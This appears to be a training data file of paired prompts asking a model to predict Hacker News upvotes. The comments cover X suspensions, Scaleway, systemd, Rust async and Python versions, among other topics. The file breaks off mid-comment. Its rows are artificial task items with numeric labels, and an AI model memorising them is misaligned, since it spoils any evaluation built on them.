38,928,199 | 38,928,531 | 1 | 3 | 38,927,699 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>kypro</author><text>I would give it at least 24 hours to see if these suspensions are legit. My understanding is that X does still suspend where they detect spam, illegal activity, etc. It&#x27;s possible these accounts were all linked to something that got flagged up somewhere.<p>It&#x27;s possible (not saying this is what happened though) that this is just mistake and their accounts will be reinstated shortly.<p>Or maybe Elon did personally ban these journalists. If it turned out he didn&#x27;t though I think a lot of you guys need to reconsider your biases.</text><parent_chain></parent_chain></comment><story><title>X Purges Prominent Journalists, Leftists with No Explanation</title><url>https://www.vice.com/en/article/5d948x/x-purges-prominent-journalists-leftists-with-no-explanation</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>TheAceOfHearts</author><text>It looks like Elon&#x27;s claims of being a free speech absolutist don&#x27;t go very far, if this article is to be taken at face value.<p>The most disappointing part for me is the lack of transparency. Didn&#x27;t Elon talk about including explanations for why people were banned or why they had restricted reach? We can only speculate about why these people were banned because Twitter doesn&#x27;t provide a public explanation. Were these people verified (paying) users as well? IMO, that would make it even more egregious.</text><parent_chain></parent_chain></comment><story><title>X Purges Prominent Journalists, Leftists with No Explanation</title><url>https://www.vice.com/en/article/5d948x/x-purges-prominent-journalists-leftists-with-no-explanation</url></story> |
25,999,149 | 25,999,258 | 1 | 2 | 25,998,659 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>wut42</author><text>Seriously problems happens, and you should not held Scaleway responsible for THIS.<p>However-- you can definitely hold Scaleway responsible for the crazy price hike (that happened two or three times), very bad support (it improved a bit lately).</text><parent_chain><item><author>reconquestio</author><text>Sounds great, but I will not go for this the second time, Scaleway.<p>Two years ago I purchased a server there, configured everything and started handling workload. Then I received the following email:<p>Our support team created a new ticket associated to your account.
Hello,
Your instance &#x27;REDACTED&#x27; is running on a hypervisor that encountered a critical failure. We are not able to power on the hypervisor again. We were not able to recover your local files located on your LSSD.
Your node has been stopped. If you created snapshots of the server&#x27;s volumes or if you halted your node recently, you will recover your volumes at their latest good state.
We are sorry for the inconvenience.
Scaleway Team<p>¯\_(ツ)_&#x2F;¯</text></item></parent_chain></comment><story><title>Apple silicon M1 as-a-Service</title><url>https://www.scaleway.com/en/hello-m1/</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>outime</author><text>You may want to know that this also happens in more expensive providers like AWS.<p>As a counterpoint, in my experience of a bunch of years with Scaleway they have always worked quite well. I left them due to the price getting out of hand.</text><parent_chain><item><author>reconquestio</author><text>Sounds great, but I will not go for this the second time, Scaleway.<p>Two years ago I purchased a server there, configured everything and started handling workload. Then I received the following email:<p>Our support team created a new ticket associated to your account.
Hello,
Your instance &#x27;REDACTED&#x27; is running on a hypervisor that encountered a critical failure. We are not able to power on the hypervisor again. We were not able to recover your local files located on your LSSD.
Your node has been stopped. If you created snapshots of the server&#x27;s volumes or if you halted your node recently, you will recover your volumes at their latest good state.
We are sorry for the inconvenience.
Scaleway Team<p>¯\_(ツ)_&#x2F;¯</text></item></parent_chain></comment><story><title>Apple silicon M1 as-a-Service</title><url>https://www.scaleway.com/en/hello-m1/</url></story> |
4,168,236 | 4,168,023 | 1 | 2 | 4,167,475 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>beagle3</author><text>I don't think it is surprising at all.<p>A modern laptop (produced in the last 10 years or so) has zero unused space, meaning that even if they are not treated well, components won't come out of sockets because they literally have no where to go. Most laptops also have tighter thermal regulation than desktops, because they are facing a harder cooling problem and wouldn't work well if they didn't.<p>Laptops also lag desktop technology by at least half a generation -- the average laptop CPU at a given time is produced with older-at-the-time (higher yield, better understood, more reliable) silicon processes than desktop chips.<p>Every floor-sitting-desktop I've seen gets kicks occasionally, and there's actually room for memory, fans and cards to move around.<p>I would guess a Lenovo or Dell desktop is still less reliable (as measured by real life crashes such as in this study) than a laptop produced by the same company.</text><parent_chain><item><author>TwoBit</author><text>The only thing surprising to me in the results was that laptop CPUs and memory were more reliable than desktop. Their reasoning is that laptops are built more conservatively. Maybe so, but desktops come from many more sources and may simply have. much more variable build quality. I want to see that data for desktops made only by the companies who make the laptops.</text></item></parent_chain></comment><story><title>Microsoft analyzes over a million PC failures, results shatter enthusiast myths</title><url>http://www.extremetech.com/gaming/131739-microsoft-analyzes-over-a-million-pc-failures-results-shatter-enthusiast-myths</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>pkteison</author><text>They already excluded overclocked and white box systems from the laptop comparison.
Edit: From laptop comparison section of original paper: "To avoid conflation with other factors, we remove overclocked and white box machines from our analysis. Because desktops have 35% more TACT than laptops, we only count failures within the first 30 days of TACT, for machines with at least 30 days of TACT."</text><parent_chain><item><author>TwoBit</author><text>The only thing surprising to me in the results was that laptop CPUs and memory were more reliable than desktop. Their reasoning is that laptops are built more conservatively. Maybe so, but desktops come from many more sources and may simply have. much more variable build quality. I want to see that data for desktops made only by the companies who make the laptops.</text></item></parent_chain></comment><story><title>Microsoft analyzes over a million PC failures, results shatter enthusiast myths</title><url>http://www.extremetech.com/gaming/131739-microsoft-analyzes-over-a-million-pc-failures-results-shatter-enthusiast-myths</url></story> |
23,196,441 | 23,196,566 | 1 | 2 | 23,194,727 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>donmcronald</author><text>Exactly, but I&#x27;m not sure about the class action lawsuit part. The contract probably forbids it and since it&#x27;s B2B I bet those types of provisions stick.<p>The most frustrating part is that these types of situations are tough to avoid and we&#x27;re starting to see them everywhere. Ex: DoorDash has a huge marketing budget &#x2F; money to burn when starting up, so the early adopters see great returns because someone else is paying for a bunch of advertising for them. They tell their friends and slowly the system grows to a critical mass where you&#x27;re losing out if you&#x27;re not on it. Then they abuse their market position and do stuff like this.<p>You see it everywhere; Google, Amazon, Microsoft, app stores, adhesive terms of service, etc.. It&#x27;s happening in the software development industry right now and no one&#x27;s paying attention. Tons of services like SaaS Git, Saas CI, SaaS dev environments (Codespaces), templated SaaS deployment targets, etc.. The early adopters are seeing gains in efficiency, so they&#x27;re out there advocating the use of all these subsidized services, but no one is considering what&#x27;s going to happen in 5 years when the ownable workflow is neglected and the SaaS workflow is the only practical option.</text><parent_chain><item><author>rmason</author><text>The author is a friend and was the original marketing director for the hosting company LiquidWeb. He&#x27; a superb marketer and I suspect this article grew out of his frustrations dealing with this problem.<p>I don&#x27;t think the average restaurant owner who may not be very digitally savvy realizes how these companies piggyback on top of their brand. I predict that soon there will be a large class action lawsuit with thousands of restaurants going after the delivery services for these underhanded tactics.</text></item></parent_chain></comment><story><title>A small restaurant owner on Google, DoorDash, and Grubhub</title><url>https://www.saddlebackbbq.com/how-google-doordash-grubhub-conspire-screw-local-restaurants</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>naravara</author><text>&gt;I don&#x27;t think the average restaurant owner who may not be very digitally savvy realizes how these companies piggyback on top of their brand. I predict that soon there will be a large class action lawsuit with thousands of restaurants going after the delivery services for these underhanded tactics.<p>It&#x27;s honestly gotten pretty bad. I almost can&#x27;t find most independent restaurants&#x27; web presences anymore because Yelp, Caviar, Google&#x27;s page, Doordash, et. al. all outcompete them on SEO for their own brands. And that&#x27;s AFTER the paid ads those same sites manage to take out.<p>Most of the time, I end up using restaurant menus listed on UberEats or Doordash instead of their own websites before I call them for a delivery because it&#x27;s just impossible to find their websites. It&#x27;s especially bad with things like Chinese or Thai restaurants since so many of their names are variations on a handful of motifs. So you might be looking for the Peking Garden across the street, but you&#x27;re just as likely to get Peking Gardens in cities all over the country, none of which are affiliated with each other. But the Yelp or Doordash hit is always the one right by you.<p>It&#x27;s unfair. I want restauranteurs to be good at restauranting. The line between their success or failure shouldn&#x27;t rely on their ability to outsmart expert SEO hustlers. It basically winds up being a shakedown that adds no value to the customer or the restaurant.</text><parent_chain><item><author>rmason</author><text>The author is a friend and was the original marketing director for the hosting company LiquidWeb. He&#x27; a superb marketer and I suspect this article grew out of his frustrations dealing with this problem.<p>I don&#x27;t think the average restaurant owner who may not be very digitally savvy realizes how these companies piggyback on top of their brand. I predict that soon there will be a large class action lawsuit with thousands of restaurants going after the delivery services for these underhanded tactics.</text></item></parent_chain></comment><story><title>A small restaurant owner on Google, DoorDash, and Grubhub</title><url>https://www.saddlebackbbq.com/how-google-doordash-grubhub-conspire-screw-local-restaurants</url></story> |
13,592,786 | 13,589,841 | 1 | 3 | 13,588,867 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>padrian2s</author><text>Hello World! From Romania. I am 37yr old and for the last 13yr software developer. That&#x27;s why I&#x27;m writing on HN, my
primary SRC of information for the last 7 yr.<p>First of all, please look at Romania, look what we are doing
and for what we are fighting and do a _replicate_ on your Country IIf your Gov does not respect your primary rights or you feel that your nation is going into the wrong direction.<p>(America, Poland and Hungary, can YOU hear us?)<p>Also, what is important, we, people from RO Street, fully support European Union. The most important Peace Project ever created. We Love EU. Please fight for EU, do not let anyone tear us apart. We must remain strong to our European culture and principles.<p>I do apologize if my message is too political with respect to HN nature.<p>We know that America is 1st. But, can we say... Romania 2nd?<p>Best regards!</text><parent_chain></parent_chain></comment><story><title>Romania is developing its own culture of protests</title><url>http://www.euronews.com/2017/02/06/view-romania-politics-protests-corruption</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>baby</author><text>It&#x27;s interesting that you currently have one of the largest &quot;political&quot; peaceful demonstrations in the world right now in Korea and in Romania and not many people are talking about it. (I&#x27;m happy to see this bit of news on HN.)</text><parent_chain></parent_chain></comment><story><title>Romania is developing its own culture of protests</title><url>http://www.euronews.com/2017/02/06/view-romania-politics-protests-corruption</url></story> |
12,600,845 | 12,600,780 | 1 | 3 | 12,600,413 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>djsumdog</author><text>We don&#x27;t live in the open source world of the 1990s. People don&#x27;t make this stuff in their basements. What was a community of devs that made things in their own time has turned into a huge industry supported system of semi-bullshit sharing. The OSS devs of the 90s wanted open source end products: a GIMP that could replace Photoshop. A blender that could replace 3D Studio. Today we mostly have OSS middleware.<p>As the other comments have stated, there have been several systemd drop in attempts, such as this one:<p><a href="http:&#x2F;&#x2F;uselessd.darknedgy.net&#x2F;" rel="nofollow">http:&#x2F;&#x2F;uselessd.darknedgy.net&#x2F;</a><p>But maintaining them is terribly difficult when Redhat is pouring money into people to work on it full-time. There are lots of systemd-free forks, including ones for Debian and Arch. But you need a large user base to continue to use these forks so other people will be encouraged to support them. Money, donations and good ole kudos help too.<p>TL;DR we don&#x27;t live in the open source world you think we do.</text><parent_chain><item><author>justin_vanw</author><text>It seems like it is quite fashionable to hate on systemd, and it seems like systemd is kindof a piece of crap - in some ways.<p>However, linux is missing basic functionality other os&#x27;s offer, and systemd is showing up and trying to fill in those blanks. This is open source, if you don&#x27;t like systemd, if you think it&#x27;s crap, if you think there are obviously better ways to do it, well, what are you waiting for then?<p>Systemd is winning because they showed up and basically nobody else did. It&#x27;s open source fork it and &#x27;do it right&#x27;. Or point out the problems and hope that someone else will step up instead?<p>I think the world would better place if people spent less time griping and more time fighting to get their patch that fixes the problems merged. I guess coding is harder than writing blog posts though.<p>EDIT: I&#x27;m not saying systemd is perfect or even good. My point is that the people writing the code are going to have the final say, whether it&#x27;s right or wrong, and it is unlikely that people writing blog posts lampooning it are really going to make a difference. I mean systemd has been despised and highly criticized from the beginning, and look where we are.</text></item></parent_chain></comment><story><title>How to Crash Systemd in One Command</title><url>https://www.agwa.name/blog/post/how_to_crash_systemd_in_one_tweet</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>namecast</author><text>I strongly disagree. I didn&#x27;t need anyone to &quot;show up&quot; to replace my init system in production across several thousand servers, and the way systemd &quot;won&quot; that battle wrt Debian was, to be polite, controversial, political and extremely divisive. They sure as heck didn&#x27;t win because &quot;they showed up and no one else did&quot;. They showed up and RedHat&#x27;s money showed up with them.<p>I hold no animus towards the systemd project&#x27;s goals or aspirations, but I have yet to hear a compelling reason for systemd to be <i>shipping</i> in it&#x27;s current state.</text><parent_chain><item><author>justin_vanw</author><text>It seems like it is quite fashionable to hate on systemd, and it seems like systemd is kindof a piece of crap - in some ways.<p>However, linux is missing basic functionality other os&#x27;s offer, and systemd is showing up and trying to fill in those blanks. This is open source, if you don&#x27;t like systemd, if you think it&#x27;s crap, if you think there are obviously better ways to do it, well, what are you waiting for then?<p>Systemd is winning because they showed up and basically nobody else did. It&#x27;s open source fork it and &#x27;do it right&#x27;. Or point out the problems and hope that someone else will step up instead?<p>I think the world would better place if people spent less time griping and more time fighting to get their patch that fixes the problems merged. I guess coding is harder than writing blog posts though.<p>EDIT: I&#x27;m not saying systemd is perfect or even good. My point is that the people writing the code are going to have the final say, whether it&#x27;s right or wrong, and it is unlikely that people writing blog posts lampooning it are really going to make a difference. I mean systemd has been despised and highly criticized from the beginning, and look where we are.</text></item></parent_chain></comment><story><title>How to Crash Systemd in One Command</title><url>https://www.agwa.name/blog/post/how_to_crash_systemd_in_one_tweet</url></story> |
17,555,053 | 17,555,081 | 1 | 2 | 17,547,368 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>Animats</author><text> <i>You don&#x27;t want a general &quot;radio decoder&quot;. You want a 4G modem.</i><p>That&#x27;s consumer products. DoD wants generality even if it costs more.<p>The electronics industry ignores what DoD wants because DoD won&#x27;t buy a million parts a month. That&#x27;s been going on for a long time. It really upset some USAF generals in the 1980s; they were used to driving the industry, not following it. It&#x27;s gotten worse since, because the center of the electronics industry has moved to Asia.<p>This project is a niche thing for military short-run production. That&#x27;s fine. There may be commercial spinoffs. But it&#x27;s aimed at DoD&#x27;s needs.</text><parent_chain><item><author>bsder</author><text>&gt; Quite interesting is the bit about hiring the &quot;former lead of GNU Radio&quot; who had experienced pain in getting closed&#x2F;proprietary hardware things to be useful. I wonder if this will lead to more open platforms. If for no other reason, that bit makes the article worth reading.<p>This makes me more worried, not less.<p>The reason why you couldn&#x27;t repurpose those things targeted at &quot;specific technologies&quot; is that they were <i>engineered for purpose</i>.<p>You don&#x27;t want a general &quot;radio decoder&quot;. You want a 4G modem. You don&#x27;t wan&#x27;t a wideband ADC--you want low power for battery usage so you want to narrow the bandwidth as much as possible. You are willing to give up generality in order to get a couple more dB in order to increase your range by another couple miles, etc.<p>The problem is that it is so expensive to do your own chip that everybody tries to shoehorn their solution into something that exists in volume but really isn&#x27;t quite right simply to avoid that expense.<p>If you want to fix electronics, find a way to make VLSI fabrication cost $500 and have a 5 day turnaround.</text></item><item><author>galeforcewinds</author><text>Quite interesting is the bit about hiring the &quot;former lead of GNU Radio&quot; who had experienced pain in getting closed&#x2F;proprietary hardware things to be useful. I wonder if this will lead to more open platforms. If for no other reason, that bit makes the article worth reading.</text></item></parent_chain></comment><story><title>Darpa Plans a Major Remake of U.S. Electronics</title><url>https://spectrum.ieee.org/tech-talk/computing/hardware/darpas-planning-a-major-remake-of-us-electronics-pay-attention.html</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>mcbits</author><text>Personally I&#x27;d rather have a 4G modem that can I can reprogram for something useful after my phone is obsolete, but I&#x27;ll take the special purpose chip if it&#x27;s cheaper. What I don&#x27;t want is a general purpose SDR that&#x27;s been artificially nerfed to provide only 4G while 90% of the cost is in licensing.</text><parent_chain><item><author>bsder</author><text>&gt; Quite interesting is the bit about hiring the &quot;former lead of GNU Radio&quot; who had experienced pain in getting closed&#x2F;proprietary hardware things to be useful. I wonder if this will lead to more open platforms. If for no other reason, that bit makes the article worth reading.<p>This makes me more worried, not less.<p>The reason why you couldn&#x27;t repurpose those things targeted at &quot;specific technologies&quot; is that they were <i>engineered for purpose</i>.<p>You don&#x27;t want a general &quot;radio decoder&quot;. You want a 4G modem. You don&#x27;t wan&#x27;t a wideband ADC--you want low power for battery usage so you want to narrow the bandwidth as much as possible. You are willing to give up generality in order to get a couple more dB in order to increase your range by another couple miles, etc.<p>The problem is that it is so expensive to do your own chip that everybody tries to shoehorn their solution into something that exists in volume but really isn&#x27;t quite right simply to avoid that expense.<p>If you want to fix electronics, find a way to make VLSI fabrication cost $500 and have a 5 day turnaround.</text></item><item><author>galeforcewinds</author><text>Quite interesting is the bit about hiring the &quot;former lead of GNU Radio&quot; who had experienced pain in getting closed&#x2F;proprietary hardware things to be useful. I wonder if this will lead to more open platforms. If for no other reason, that bit makes the article worth reading.</text></item></parent_chain></comment><story><title>Darpa Plans a Major Remake of U.S. Electronics</title><url>https://spectrum.ieee.org/tech-talk/computing/hardware/darpas-planning-a-major-remake-of-us-electronics-pay-attention.html</url></story> |
31,596,577 | 31,596,918 | 1 | 2 | 31,595,978 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>julianlam</author><text>This keeps being bandied around as a reason to NOT switch to Fastmail, but the truth of the matter is: if I need to get in touch with Fastmail support, I can. Easily.<p>That itself makes up the difference.<p>Admittedly, the more important part is maintaining your own custom domain, so you can switch email providers with a simple DNS update.</text><parent_chain><item><author>na85</author><text>I&#x27;m sure fastmail are great folks but if everyone who feels nervous because of Google&#x27;s shithousery jumps ship to fastmail it doesn&#x27;t really solve the problem of overreliance on a single provider.</text></item><item><author>scrose</author><text>Anything registered with Google seems like such a risk nowadays.<p>A friend’s business site which I help with got removed from Google Business without warning or any known reason 2 weeks ago(they’ve been listed for over 2 years with no changes to the listing in that time). The company already lost over 50% of their regular leads during their normal peak time(it’s a junk hauling business) since their business page accounted for most of their organic searches. Even though Google states an appeal response normally takes 3 days, they haven’t heard anything for going on 2 weeks now.<p>This whole ordeal led me to begin forwarding all my existing emails to my own custom domain on Fastmail since seeing the result of these arbitrary bans firsthand really drove home the risk you take when using Google services. Unfortunately for my friend’s business, they really have no other options to get as much exposure for their business as a Google business listing provides.</text></item></parent_chain></comment><story><title>Tell HN: Transfer your Google domain to other registrar before it locks you out</title><text>I have been running imagetoexcel.com registered with Google Domain. The service is live since May 2019 with 1000 DAUs. I have auto-renewal turned on, so every year it renews for one year charging my credit card linked in the account. I lost my cards in February, so I had to block my cards with the bank. Apparently, in May, Google Services tried to take the payment and hit a bad response from the Payment. I received an email stating the same, so when I tried to add a new card(s) it threw an error `OR-HDT-09`. Understandably they had to verify me and asked me to submit my ID, which I did. Two weeks to date no response from the Google Pay services, even on the follow-up. Now the site is down.<p>As a precautionary step, I&#x27;ve transferred my 4 other domains to the porkbun, which was super easy. I just thought of informing fellow hacker news followers to keep them out in such a situation.</text></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>kcartlidge</author><text>&gt; <i>if everyone who feels nervous because of Google&#x27;s shithousery jumps ship to fastmail it doesn&#x27;t really solve the problem of overreliance on a single provider.</i><p>In these discussions it&#x27;s not really about the <i>volume</i> of people using a single provider, but about <i>individual</i> users relying on a single provider to perform multiple functions.<p>So the issue of over-reliance on a single provider is usually in the context of that provider being in a situation to take offence at something unrelated and apply penalties that impact other things you actually rely on.<p>For example Google don&#x27;t like something you do related to YouTube or AdSense and they kill your account. Now you&#x27;ve got no email and your domain expires as you can&#x27;t pay for it.<p>In these kinds of cases it <i>exactly</i> solves the problem as the vital stuff is not affected by shenanigans with the everyday stuff because you&#x27;ve spread the functions across multiple providers.</text><parent_chain><item><author>na85</author><text>I&#x27;m sure fastmail are great folks but if everyone who feels nervous because of Google&#x27;s shithousery jumps ship to fastmail it doesn&#x27;t really solve the problem of overreliance on a single provider.</text></item><item><author>scrose</author><text>Anything registered with Google seems like such a risk nowadays.<p>A friend’s business site which I help with got removed from Google Business without warning or any known reason 2 weeks ago(they’ve been listed for over 2 years with no changes to the listing in that time). The company already lost over 50% of their regular leads during their normal peak time(it’s a junk hauling business) since their business page accounted for most of their organic searches. Even though Google states an appeal response normally takes 3 days, they haven’t heard anything for going on 2 weeks now.<p>This whole ordeal led me to begin forwarding all my existing emails to my own custom domain on Fastmail since seeing the result of these arbitrary bans firsthand really drove home the risk you take when using Google services. Unfortunately for my friend’s business, they really have no other options to get as much exposure for their business as a Google business listing provides.</text></item></parent_chain></comment><story><title>Tell HN: Transfer your Google domain to other registrar before it locks you out</title><text>I have been running imagetoexcel.com registered with Google Domain. The service is live since May 2019 with 1000 DAUs. I have auto-renewal turned on, so every year it renews for one year charging my credit card linked in the account. I lost my cards in February, so I had to block my cards with the bank. Apparently, in May, Google Services tried to take the payment and hit a bad response from the Payment. I received an email stating the same, so when I tried to add a new card(s) it threw an error `OR-HDT-09`. Understandably they had to verify me and asked me to submit my ID, which I did. Two weeks to date no response from the Google Pay services, even on the follow-up. Now the site is down.<p>As a precautionary step, I&#x27;ve transferred my 4 other domains to the porkbun, which was super easy. I just thought of informing fellow hacker news followers to keep them out in such a situation.</text></story> |
18,643,291 | 18,642,268 | 1 | 2 | 18,641,796 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>2bitencryption</author><text>Async&#x2F;await pattern always confuses me, someone please let me know if I get this right:<p>First, async&#x2F;await does NOT mean &quot;threading&quot; or &quot;multiprocessing&quot; or &quot;concurrency&quot;. It simply means &quot;using a state machine to alternate between tasks, which may or may not be concurrent.&quot; Right?<p>Further, in Javascript, futures and async are utilized heavily because we so frequently need to wait for IO events (i.e.: network events) to complete, and we don&#x27;t want to block execution of the entire page just to wait for a IO to complete. So the JS engine allows you to fire off these network events, do something else in the meantime, and then execute the &quot;done&quot; behavior when the IO is complete (and even in this case, we might not be concurrent, because ).<p>That makes sense to me.<p>But say I have written something in Rust that makes use of async&#x2F;await. And say there is absolutely no IO or multithreading. Say I have some awaitable function called &quot;compute_pi_digits()&quot; that can take arbitrarily long to complete but does not do IO, it&#x27;s purely computational. Is there any benefit to making this function awaitable? Unless I actually spawn it in a different thread, the awaitable version of this function will behave identically to if it were NOT awaitable, correct?<p>And one last idea: the async&#x2F;await pattern is becoming so popular across vastly different languages because it allows us to abstract over concepts like concurrency, futures, promises, etc. It&#x27;s a bit of a &quot;one size fits all&quot; regardless of whether you&#x27;re spinning up a thread, polling for a network event, setting up a callback for a future, etc?</text><parent_chain></parent_chain></comment><story><title>Inside Rust's Async Transform</title><url>https://blag.nemo157.com/2018/12/09/inside-rusts-async-transform.html</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>benaadams</author><text>&gt; is very different to other well-known implementations (C# and JavaScript [...]). Instead of performing a CPS-like transform where an async function is split into a series of continuations that are chained together via a Future::then method, Rust instead uses a generator&#x2F;coroutine transform to turn the function into a state machine.<p>C# async&#x2F;await is also very much resumable state machines</text><parent_chain></parent_chain></comment><story><title>Inside Rust's Async Transform</title><url>https://blag.nemo157.com/2018/12/09/inside-rusts-async-transform.html</url></story> |
40,568,936 | 40,568,899 | 1 | 3 | 40,565,060 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>gomox</author><text>&gt; I studied Chinese for 2 years in University and hitchhiked mainland China in 2019.<p>You owe us at least one fun story from mainland China in 2019.</text><parent_chain><item><author>cynicalpeace</author><text>I studied Chinese for 2 years in University and hitchhiked mainland China in 2019.<p>A common misconception is that Chinese &quot;makes more sense&quot; because many characters look like what they mean. So you can guess what a new character means just by looking at it.<p>A downside is that for many Chinese characters it becomes impossible to know how to pronounce a new word. I&#x27;ve seen adult native speakers ask how to pronounce a new word many times. Oftentimes there are hints in the characters (the &quot;phonetics&quot; mentioned by the writer), but usually not enough to guess correctly.<p>English is also bad at this, ironically.<p>Spanish is really good at this, if not the best. When you come across a new word, it&#x27;s 99.99% of the time pronounced how its written.</text></item></parent_chain></comment><story><title>If English was written like Chinese (1999)</title><url>https://zompist.com/yingzi/yingzi.htm</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>localfirst</author><text>this was a big reason why Korean alphabet was invented because the literacy was so poor for the reasons you mentioned.<p>Lot of terms&#x2F;loanwords from Chinese language can be found in all neighbouring countries but you&#x27;d have to be part of the artistocracy to get the schooling.<p>Japan still uses it but North Korea banned it out of the gate. South Korea slowly phased out use of traditional chinese characters. It was common to see Chinese characters up until late 00s but definitely used a lot more sparingly.</text><parent_chain><item><author>cynicalpeace</author><text>I studied Chinese for 2 years in University and hitchhiked mainland China in 2019.<p>A common misconception is that Chinese &quot;makes more sense&quot; because many characters look like what they mean. So you can guess what a new character means just by looking at it.<p>A downside is that for many Chinese characters it becomes impossible to know how to pronounce a new word. I&#x27;ve seen adult native speakers ask how to pronounce a new word many times. Oftentimes there are hints in the characters (the &quot;phonetics&quot; mentioned by the writer), but usually not enough to guess correctly.<p>English is also bad at this, ironically.<p>Spanish is really good at this, if not the best. When you come across a new word, it&#x27;s 99.99% of the time pronounced how its written.</text></item></parent_chain></comment><story><title>If English was written like Chinese (1999)</title><url>https://zompist.com/yingzi/yingzi.htm</url></story> |
15,521,518 | 15,518,141 | 1 | 3 | 15,516,526 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>bobbinsbob</author><text>I used to be a security guard after I left the army (no skills in civvi street to get a better job).<p>Couple of things come to mind reading this. One that security guard is probably getting paid a pittance to do that job and you get what you pay for. Two the guard recognises you and your colleagues, knows you work there and doesn&#x27;t really care that you&#x27;re playing silly games because on their wage it&#x27;s not worth the hassle pulling you up for you to get all high and mighty about the inconvenience of a lowly security guard daring to question you. Three that single guard, whilst ostensibly there for &quot;security&quot; is really just there for show, there&#x27;s no way a single lowly paid guard can possibly provide security for a building housing 8 or 9 companies even with the best intentions.<p>My experience as a guard was that the employees of the companies within the building treated me with contemptuous distain until something happened at which point it was righteous anger.</text><parent_chain><item><author>madmax108</author><text>In my office complex, we have a bunch of security guards who _check_ badges of people who enter the building (My building houses about 8-9 companies). If you don&#x27;t have a badge then the guard calls the office you claim to be part of to ensure you have access, and then issues a temp badge.<p>A couple months ago, I forgot my badge at home, but didn&#x27;t want to go through the hassle of getting a temp badge, so I flashed my driver&#x27;s license at the guard (which is roughly the same size as my ID badge) and he simply waved me through.<p>I told my colleagues this, and since then we have a silly game where we try to get in using ridiculous cards. Most recently, we have people who have flashed blood donation cards (a card that acknowledges that you donated blood on so and so date), a credit card and a folded bookmark and successfully gotten into the complex.<p>While this is a running joke, really goes to show how lax manual security can be (Especially because once you are on my floor, you can easily tailgate your way into my office).<p>TL;DR Most of our security systems work on implicit trust more than anything else.</text></item></parent_chain></comment><story><title>Socially Engineering Myself into High Security Facilities</title><url>https://motherboard.vice.com/en_us/article/qv34zb/how-i-socially-engineer-myself-into-high-security-facilities</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>shubb</author><text>Devils advocate, they might simply know your face.<p>I worked in a 5000 person building for a year, left, and went back a year later for a christmas party. The shared reception still remembered who I was without being told and were able to guess who I was visiting.</text><parent_chain><item><author>madmax108</author><text>In my office complex, we have a bunch of security guards who _check_ badges of people who enter the building (My building houses about 8-9 companies). If you don&#x27;t have a badge then the guard calls the office you claim to be part of to ensure you have access, and then issues a temp badge.<p>A couple months ago, I forgot my badge at home, but didn&#x27;t want to go through the hassle of getting a temp badge, so I flashed my driver&#x27;s license at the guard (which is roughly the same size as my ID badge) and he simply waved me through.<p>I told my colleagues this, and since then we have a silly game where we try to get in using ridiculous cards. Most recently, we have people who have flashed blood donation cards (a card that acknowledges that you donated blood on so and so date), a credit card and a folded bookmark and successfully gotten into the complex.<p>While this is a running joke, really goes to show how lax manual security can be (Especially because once you are on my floor, you can easily tailgate your way into my office).<p>TL;DR Most of our security systems work on implicit trust more than anything else.</text></item></parent_chain></comment><story><title>Socially Engineering Myself into High Security Facilities</title><url>https://motherboard.vice.com/en_us/article/qv34zb/how-i-socially-engineer-myself-into-high-security-facilities</url></story> |
14,287,283 | 14,287,181 | 1 | 2 | 14,285,880 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>cthalupa</author><text>The way forward is to use Python 3. That&#x27;s been the way forward since it was announced that 2.7 would be the last version, and that everything after it would just be bugfixes. The way forward became even more clearly defined when the date was set for even those to stop.<p>I learned Python from Python 3, and it hasn&#x27;t hindered me at all, even from going back and working on Python 2 code bases, or cross compatible code bases. It&#x27;s a perspective that&#x27;s made me just how aware of how awful Python 2 is in comparison.<p>Python 2 is going to exist for a long time in a lot of places. But it&#x27;s a dead end for improvements. It&#x27;s a dead end for innovation. It&#x27;s a dead end for bug fixes and security fixes. Would you even consider telling someone to go learn any other language that is 3 years away from even end of life support having the plug pulled? You wouldn&#x27;t. Why would you do the same for Python 2?</text><parent_chain><item><author>mnm1</author><text>&quot;I would say there is currently no “right” or “wrong” as long as both Python 2.7.x and Python 3.x support the libraries that you are planning to use.&quot;<p>I would like to consider python for my next project, but this is extremely short sighted advice which begs the very real question: why should I consider python at all for a new, multi year project when there is no clear path forward for the language and there hasn&#x27;t been in a decade?<p>Also, how can you ask someone who is new to the language to just choose? To me that seems insane. They have nothing to base their choice on, yet this choice will decide the future and success of the app. No pressure. But to be honest, and I know this is not the 